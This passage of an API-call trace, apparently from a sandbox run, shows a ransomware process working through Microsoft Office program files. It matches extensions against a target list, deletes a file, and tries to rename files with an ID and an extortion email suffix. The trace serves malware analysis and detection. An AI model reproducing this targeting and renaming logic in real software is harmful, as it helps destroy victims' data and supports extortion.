dwFileAttributes=0x20) returned 1 [0154.449] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olmail.fae")) returned 1 [0154.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0154.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0154.450] lstrlenW (lpString=".doc") returned 4 [0154.450] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0154.450] lstrlenW (lpString=".docx") returned 5 [0154.450] lstrcmpiW (lpString1=".docx", lpString2="L.FAE") returned -1 [0154.450] lstrlenW (lpString=".pdf") returned 4 [0154.450] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0154.450] lstrlenW (lpString=".xls") returned 4 [0154.450] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0154.450] lstrlenW (lpString=".xlsx") returned 5 [0154.450] lstrcmpiW (lpString1=".xlsx", lpString2="L.FAE") returned -1 [0154.450] lstrlenW (lpString=".ppt") returned 4 [0154.450] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0154.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0154.450] lstrlenW (lpString=".zip") returned 4 [0154.450] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0154.450] lstrlenW (lpString=".rar") returned 4 [0154.450] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0154.450] lstrlenW (lpString=".bz2") returned 4 [0154.451] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0154.451] lstrlenW (lpString=".7z") returned 3 [0154.451] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0154.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0154.451] lstrlenW (lpString=".dbf") returned 4 [0154.451] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0154.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0154.451] lstrlenW (lpString=".1cd") returned 4 [0154.451] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0154.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0154.451] lstrlenW (lpString=".jpg") returned 4 [0154.451] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0154.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0154.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0154.451] lstrlenW (lpString=".doc") returned 4 [0154.451] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0154.451] lstrlenW (lpString=".docx") returned 5 [0154.451] lstrcmpiW (lpString1=".docx", lpString2="L.FAE") returned -1 [0154.451] lstrlenW (lpString=".pdf") returned 4 [0154.451] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0154.451] lstrlenW (lpString=".xls") returned 4 [0154.451] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0154.451] lstrlenW (lpString=".xlsx") returned 5 [0154.451] lstrcmpiW (lpString1=".xlsx", lpString2="L.FAE") returned -1 [0154.452] lstrlenW (lpString=".ppt") returned 4 [0154.452] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0154.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0154.452] lstrlenW (lpString=".zip") returned 4 [0154.452] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0154.452] lstrlenW (lpString=".rar") returned 4 [0154.452] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0154.452] lstrlenW (lpString=".bz2") returned 4 [0154.452] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0154.452] lstrlenW (lpString=".7z") returned 3 [0154.452] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0154.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0154.452] lstrlenW (lpString=".dbf") returned 4 [0154.452] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0154.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0154.452] lstrlenW (lpString=".1cd") returned 4 [0154.452] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0154.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLMAIL.FAE") returned 61 [0154.452] lstrlenW (lpString=".jpg") returned 4 [0154.452] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0154.452] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0154.452] lstrlenW (lpString="DWGDP.DLL") returned 9 [0154.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dwgdp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.578] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=9387368) returned 1 [0154.579] CloseHandle (hObject=0x380) returned 1 [0154.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dwgdp.dll")) returned 0x20 [0154.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\dwgdp.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.695] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\dwgdp.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\dwgdp.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0154.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL") returned 52 [0154.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL") returned 52 [0154.716] lstrlenW (lpString=".doc") returned 4 [0154.716] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.716] lstrlenW (lpString=".docx") returned 5 [0154.716] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0154.716] lstrlenW (lpString=".pdf") returned 4 [0154.716] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.716] lstrlenW (lpString=".xls") returned 4 [0154.716] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.716] lstrlenW (lpString=".xlsx") returned 5 [0154.716] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0154.716] lstrlenW (lpString=".ppt") returned 4 [0154.717] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL") returned 52 [0154.717] lstrlenW (lpString=".zip") returned 4 [0154.717] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.717] lstrlenW (lpString=".rar") returned 4 [0154.717] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.717] lstrlenW (lpString=".bz2") returned 4 [0154.717] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.717] lstrlenW (lpString=".7z") returned 3 [0154.717] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL") returned 52 [0154.717] lstrlenW (lpString=".dbf") returned 4 [0154.717] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL") returned 52 [0154.717] lstrlenW (lpString=".1cd") returned 4 [0154.717] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL") returned 52 [0154.717] lstrlenW (lpString=".jpg") returned 4 [0154.717] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL") returned 52 [0154.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL") returned 52 [0154.717] lstrlenW (lpString=".doc") returned 4 [0154.717] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.717] lstrlenW (lpString=".docx") returned 5 [0154.717] lstrcmpiW (lpString1=".docx", lpString2="P.DLL") returned -1 [0154.717] lstrlenW (lpString=".pdf") returned 4 [0154.717] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.717] lstrlenW (lpString=".xls") returned 4 [0154.717] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.718] lstrlenW (lpString=".xlsx") returned 5 [0154.718] lstrcmpiW (lpString1=".xlsx", lpString2="P.DLL") returned -1 [0154.718] lstrlenW (lpString=".ppt") returned 4 [0154.718] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL") returned 52 [0154.718] lstrlenW (lpString=".zip") returned 4 [0154.718] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.718] lstrlenW (lpString=".rar") returned 4 [0154.718] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.718] lstrlenW (lpString=".bz2") returned 4 [0154.718] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.718] lstrlenW (lpString=".7z") returned 3 [0154.718] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL") returned 52 [0154.718] lstrlenW (lpString=".dbf") returned 4 [0154.718] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL") returned 52 [0154.718] lstrlenW (lpString=".1cd") returned 4 [0154.718] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\DWGDP.DLL") returned 52 [0154.718] lstrlenW (lpString=".jpg") returned 4 [0154.718] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.718] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0154.718] lstrlenW (lpString="ELEMUTIL.DLL") returned 12 [0154.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ELEMUTIL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\elemutil.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0154.719] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=145312) returned 1 [0154.719] CloseHandle (hObject=0x384) returned 1 [0154.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ELEMUTIL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\elemutil.dll")) returned 0x20 [0154.735] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ELEMUTIL.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\elemutil.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ELEMUTIL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\elemutil.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ELEMUTIL.DLL") returned 55 [0154.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ELEMUTIL.DLL") returned 55 [0154.735] lstrlenW (lpString=".doc") returned 4 [0154.735] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.735] lstrlenW (lpString=".docx") returned 5 [0154.735] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0154.735] lstrlenW (lpString=".pdf") returned 4 [0154.735] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.735] lstrlenW (lpString=".xls") returned 4 [0154.735] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.735] lstrlenW (lpString=".xlsx") returned 5 [0154.735] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0154.735] lstrlenW (lpString=".ppt") returned 4 [0154.736] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ELEMUTIL.DLL") returned 55 [0154.736] lstrlenW (lpString=".zip") returned 4 [0154.736] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.736] lstrlenW (lpString=".rar") returned 4 [0154.736] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.736] lstrlenW (lpString=".bz2") returned 4 [0154.736] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.736] lstrlenW (lpString=".7z") returned 3 [0154.736] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ELEMUTIL.DLL") returned 55 [0154.736] lstrlenW (lpString=".dbf") returned 4 [0154.736] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ELEMUTIL.DLL") returned 55 [0154.736] lstrlenW (lpString=".1cd") returned 4 [0154.736] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ELEMUTIL.DLL") returned 55 [0154.736] lstrlenW (lpString=".jpg") returned 4 [0154.736] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ELEMUTIL.DLL") returned 55 [0154.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ELEMUTIL.DLL") returned 55 [0154.736] lstrlenW (lpString=".doc") returned 4 [0154.736] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.736] lstrlenW (lpString=".docx") returned 5 [0154.736] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0154.736] lstrlenW (lpString=".pdf") returned 4 [0154.736] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.736] lstrlenW (lpString=".xls") returned 4 [0154.736] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.736] lstrlenW (lpString=".xlsx") returned 5 [0154.737] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0154.737] lstrlenW (lpString=".ppt") returned 4 [0154.737] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ELEMUTIL.DLL") returned 55 [0154.737] lstrlenW (lpString=".zip") returned 4 [0154.737] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.737] lstrlenW (lpString=".rar") returned 4 [0154.737] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.737] lstrlenW (lpString=".bz2") returned 4 [0154.737] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.737] lstrlenW (lpString=".7z") returned 3 [0154.737] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ELEMUTIL.DLL") returned 55 [0154.737] lstrlenW (lpString=".dbf") returned 4 [0154.737] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ELEMUTIL.DLL") returned 55 [0154.737] lstrlenW (lpString=".1cd") returned 4 [0154.737] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ELEMUTIL.DLL") returned 55 [0154.737] lstrlenW (lpString=".jpg") returned 4 [0154.737] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.737] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0154.737] lstrlenW (lpString="EMABLT32.DLL") returned 12 [0154.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EMABLT32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\emablt32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0154.738] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=154496) returned 1 [0154.738] CloseHandle (hObject=0x1dc) returned 1 [0154.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EMABLT32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\emablt32.dll")) returned 0x20 [0154.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EMABLT32.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\emablt32.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EMABLT32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\emablt32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EMABLT32.DLL") returned 55 [0154.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EMABLT32.DLL") returned 55 [0154.739] lstrlenW (lpString=".doc") returned 4 [0154.739] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.739] lstrlenW (lpString=".docx") returned 5 [0154.739] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0154.739] lstrlenW (lpString=".pdf") returned 4 [0154.739] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.739] lstrlenW (lpString=".xls") returned 4 [0154.739] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.739] lstrlenW (lpString=".xlsx") returned 5 [0154.739] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0154.739] lstrlenW (lpString=".ppt") returned 4 [0154.739] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EMABLT32.DLL") returned 55 [0154.739] lstrlenW (lpString=".zip") returned 4 [0154.739] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.739] lstrlenW (lpString=".rar") returned 4 [0154.739] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.740] lstrlenW (lpString=".bz2") returned 4 [0154.740] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.740] lstrlenW (lpString=".7z") returned 3 [0154.740] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EMABLT32.DLL") returned 55 [0154.740] lstrlenW (lpString=".dbf") returned 4 [0154.740] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EMABLT32.DLL") returned 55 [0154.740] lstrlenW (lpString=".1cd") returned 4 [0154.740] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EMABLT32.DLL") returned 55 [0154.740] lstrlenW (lpString=".jpg") returned 4 [0154.740] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EMABLT32.DLL") returned 55 [0154.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EMABLT32.DLL") returned 55 [0154.740] lstrlenW (lpString=".doc") returned 4 [0154.740] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.740] lstrlenW (lpString=".docx") returned 5 [0154.740] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0154.740] lstrlenW (lpString=".pdf") returned 4 [0154.740] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.740] lstrlenW (lpString=".xls") returned 4 [0154.740] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.740] lstrlenW (lpString=".xlsx") returned 5 [0154.740] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0154.740] lstrlenW (lpString=".ppt") returned 4 [0154.740] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EMABLT32.DLL") returned 55 [0154.740] lstrlenW (lpString=".zip") returned 4 [0154.740] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.741] lstrlenW (lpString=".rar") returned 4 [0154.741] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.741] lstrlenW (lpString=".bz2") returned 4 [0154.741] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.741] lstrlenW (lpString=".7z") returned 3 [0154.741] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EMABLT32.DLL") returned 55 [0154.741] lstrlenW (lpString=".dbf") returned 4 [0154.741] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EMABLT32.DLL") returned 55 [0154.741] lstrlenW (lpString=".1cd") returned 4 [0154.741] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.741] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EMABLT32.DLL") returned 55 [0154.741] lstrlenW (lpString=".jpg") returned 4 [0154.741] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.741] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0154.741] lstrlenW (lpString="EMSMDB32.DLL") returned 12 [0154.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\emsmdb32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0154.742] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2125752) returned 1 [0154.742] CloseHandle (hObject=0x1dc) returned 1 [0154.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\emsmdb32.dll")) returned 0x20 [0154.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\emsmdb32.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.742] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\emsmdb32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\emsmdb32.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0154.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL") returned 55 [0154.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL") returned 55 [0154.743] lstrlenW (lpString=".doc") returned 4 [0154.743] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.743] lstrlenW (lpString=".docx") returned 5 [0154.743] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0154.743] lstrlenW (lpString=".pdf") returned 4 [0154.743] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.743] lstrlenW (lpString=".xls") returned 4 [0154.743] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.743] lstrlenW (lpString=".xlsx") returned 5 [0154.743] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0154.743] lstrlenW (lpString=".ppt") returned 4 [0154.743] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL") returned 55 [0154.743] lstrlenW (lpString=".zip") returned 4 [0154.743] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.743] lstrlenW (lpString=".rar") returned 4 [0154.743] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.743] lstrlenW (lpString=".bz2") returned 4 [0154.743] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0154.743] lstrlenW (lpString=".7z") returned 3 [0154.743] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0154.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL") returned 55 [0154.743] lstrlenW (lpString=".dbf") returned 4 [0154.743] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0154.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL") returned 55 [0154.743] lstrlenW (lpString=".1cd") returned 4 [0154.743] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0154.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL") returned 55 [0154.743] lstrlenW (lpString=".jpg") returned 4 [0154.743] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0154.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL") returned 55 [0154.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL") returned 55 [0154.743] lstrlenW (lpString=".doc") returned 4 [0154.744] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0154.744] lstrlenW (lpString=".docx") returned 5 [0154.744] lstrcmpiW (lpString1=".docx", lpString2="2.DLL") returned -1 [0154.744] lstrlenW (lpString=".pdf") returned 4 [0154.744] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0154.744] lstrlenW (lpString=".xls") returned 4 [0154.744] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0154.744] lstrlenW (lpString=".xlsx") returned 5 [0154.744] lstrcmpiW (lpString1=".xlsx", lpString2="2.DLL") returned -1 [0154.744] lstrlenW (lpString=".ppt") returned 4 [0154.744] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0154.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL") returned 55 [0154.744] lstrlenW (lpString=".zip") returned 4 [0154.744] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0154.744] lstrlenW (lpString=".rar") returned 4 [0154.744] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0154.744] 